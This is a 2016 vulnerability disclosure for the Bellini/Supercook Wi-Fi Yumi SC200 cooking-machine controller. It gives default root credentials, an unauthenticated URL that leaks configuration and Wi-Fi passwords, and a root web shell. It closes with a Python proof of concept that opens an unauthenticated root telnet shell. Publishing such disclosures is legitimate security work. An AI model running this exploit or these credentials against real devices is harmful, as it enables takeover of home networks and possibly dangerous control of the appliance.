Bellini/Supercook Wi-Fi Yumi SC200 Information Disclosure / Code Execution
Posted on 26 July 2016
Bellini/Supercook Wi-Fi Yumi SC200 - Multiple vulnerabilities Reported By: ================================== James McLean - Primary: james dot mclean at gmail dot com Secondary: labs at juicedigital dot net Device Overview: ================================== >From http://www.supercook.me/en/supercook/articles/btmkm800x/ "The Bellini.SUPERCOOK Kitchen Master is much more than a multifunctional kitchen machine. It has 13 functions so not only saves a huge amount of time, it also incorporates the Yumi control module and its own recipe collection, making it incredibly easy to use." Vulnerability Overview: ================================== Vuln1) Weak Username/Password for 'root' account. Vuln2) Information disclosure, unauthenticated. Vuln3) Remote arbitrary code execution. CVE ID's ================================== None assigned as yet. Disclosure Timeline ================================== 2016-06-01: Vulnerability assessment commenced. 2016-07-04: Contacted Supercook.me support via Web Contact. No response. 2016-07-12: Contacted Supercook.me support via Web Contact. No response. 2016-07-12: Contacted Supercook Australia via Facebook. Supercook responded, saying they will view the support request. No further response recieved. 2016-07-19: Contacted Supercook Australia via Facebook. No response. 2016-07-21: Posted security assessment to vortex.id.au. 2016-07-22: Mitre contacted, CVE ID's requested. It is with regret, but ultimately due to my concern for the community that own these devices, that due to lack of communication I am disclosing these vulnerabilities without the involvment of the vendor. I sincerely hope that the vendor can resolve these issues in a timely manner. I intend no malice by releasing these vulnerabilities, and only wish to inform the community so appropriate steps may be taken by the owners of these devices. Due to the nature of the firmware on the device, these issues are not likely caused by the vendor themselves. Please do not use the information presented here for evil. Affected Platforms: ================================== Bellini/Supercook Wi-Fi Yumi SC200 - Confirmed affected: Vuln1, Vuln2, Vuln3. Bellini/Supercook Wi-Fi Yumi SC250 - Likely affected, Vuln1, Vuln2, Vuln3, as same firmware is used. As the Wi-fi Yumi firmware appears to be based on a stock firmware image used on a number of other commodity 'IoT' devices, the vulnerabilities described here are very likely to affect other devices with similar or the same firmware. -- Vuln1 Details: ================================== Weak Username/Password for Root-level account. Username: super Password: super These credentials provide access to the built in FTP server and web administration interface. We did not attempt any more than a cursory connection to the FTP server with these details. According to the details disclosed in Vuln2, an additional account is present on the device with the following credentials: Username: admin Password: AlpheusDigital1010 With the exception of a cursory check of the built in FTP service (which failed for these credentials), we did not attempt to access the device with these credentials. Vuln1 Notes: ================================== We did not attempt to change or ascertain if it was possible to change these access credentials; as Vuln2 completely negates any change made. Vuln1 Mitigation: ================================== Isolate the Supercook Wi-fi Yumi from any other Wireless network. Revert to the non-wifi Yumi controller. -- Vuln2 Details: ================================== Information disclosure, unauthenticated. Device URL: http://10.10.1.1/Setting.chipsipcmd The device offers, via its built in webserver, a full list of all configuration parameters available. This list includes the above mentioned root account username and password, and the password to the parent connected wifi network. All details are in plain text, and transmitted in the format of a key-value pair making retrieval, recovery and use of all configuration information trivial. This interface is also available from the parent wi-fi network via DHCP assigned IPv4 address. Vuln2 Notes: ================================== Example data returned: DEF_IP_ADDR=10.10.1.1 DEF_SUBNET_MASK=255.255.255.0 ... DEF_SUPER_NAME="super" DEF_SUPER_PASSWORD="super" DEF_USER_NAME="admin" DEF_USER_PASSWORD="AlpheusDigital1010" ... Vuln2 Mitigation: ================================== Isolate the Supercook Wi-fi Yumi from any other Wireless network, only using the mobile application to upload recipes, then disconnect from the device and connect your mobile device to a trusted network once again to access the internet once again. Revert to the non-wifi Yumi controller. The vendor should establish a method of authentication to the device from the various mobile applications available, and transport any configuration in an encrypted format using keys which are not generally available or easily discoverable. -- Vuln3 Details: ================================== Remote arbitrary code execution. Device URL: http://10.10.1.1/syscmd.asp The device offers a built-in web-shell which, once authenticated using the details discovered in Vuln2, allows the execution of any command the device can execute - as the built in webserver runs as the root user. It is possible to execute a command using this interface that would create any file in any location. This would allow an attacker to establish persistence. Additionally, the built in busybox binary includes the option 'telnetd', meaning it is possible to execute the relevant command to start a telnet daemon remotely. The running daemon then requires no authentication to connect, and runs as the root account. Vuln3 Mitigation: ================================== Isolate the Supercook Wi-fi Yumi from any other Wireless network. Revert to the non-wifi Yumi controller. Remove or prevent access to /syscmd.asp and /goform/formSysCmd scripts (Please mind your warranty if you modify the files on the device). The vendor should disable any and all commands on the device and scripts in the web interface which are not specifically required for the normal functionality of the device or its communication with control apps. In this instance, the vendor should REMOVE the page '/syscmd.asp' and also /goform/formSysCmd which processes commands submitted via syscmd.asp to prevent arbitrary commands from being executed. Additionally, busybox should be recompiled such that the 'telnetd' option is no longer available to be executed. -- Vuln1/Vuln2/Vuln3 Risks: ================================== Weak and easily discoverable root credentials combined with easily accessed remote shell functionality is a dangerous combination. These vulnerabilities could allow any sufficiently advanced malware to become persistent in a LAN and re-infect hosts at will (advanced crypto-locker style malware comes to mind), capture and exfiltrate data on either Wireless network the device is connected to, MITM any traffic routed through the device, or other as yet unknown attack vectors. Additionally, as full root access is easily obtainable, it may be possible for an attacker to cause the cooking functionality to behave erratically or possibly even dangerously due to the built in spinning blades and heating elements. While we ultimately did not attempt to control these aspects of the device due to the fact that it makes our dinner most nights, these risks are worth raising. This vulnerability assessment should not be considered an exhaustive list of all vunlnerabilities the device may have. Due to time constraints we were unable to invest the required time to discover and document all issues. Due to the nature of the firmware on the device, most of these have likely been discovered in other products at various times, this item may even duplicate another from a similar device. Notes: ================================== No security assessment of code used for control of cooker functionality was undertaken; as this does not, in my opinion, rate as seriously as the other vulnerabilities discovered and disclosed here. However, it should be noted, that with the root access that is VERY easily obtained, it may be possible for an attacker to cause the cooking functionality of the machine to behave erratically or even dangerously due to the built in spinning blades and heating elements. Further to this, a malicious partner or offspring may intentionally sabotage dinner, if he/she would prefer to eat takeout. No attempt was made to connect to or manipulate files on the built in Samba shares, however given the weak credentials sufficiently advanced malware may be able to use these shares to establish persistence. The 'Bellini' name may be regional, our device was procured in Australia and as such may or may not have a different name in other countries. A full, detailed, rundown and commentary is available at https://www.vortex.id.au/2016/07/bellini-supercook-yumi-wi-fi-the-insecurity-perspective/ Vuln3 Proof of Concept: ================================== #!/usr/bin/env python import urllib import urllib2 from subprocess import call # Connect to the device's wifi network, then run. # Root access will be provided. url = 'http://10.10.1.1/goform/formSysCmd' cmd = 'busybox telnetd -l /bin/sh' username = 'super' password = 'super' # setup the password handler basicauth = urllib2.HTTPPasswordMgrWithDefaultRealm() basicauth.add_password(None, url, username, password) authhandler = urllib2.HTTPBasicAuthHandler(basicauth) opener = urllib2.build_opener(authhandler) urllib2.install_opener(opener) # Connect to the device, send the data values = { 'sysCmd': cmd, 'apply': 'Apply', 'submit-url': '/syscmd.asp' } data = urllib.urlencode(values) pagehandle = urllib2.urlopen(url, data) # Connect to Telnet. call(["telnet","10.10.1.1"]) # Pwnd. # End of document.
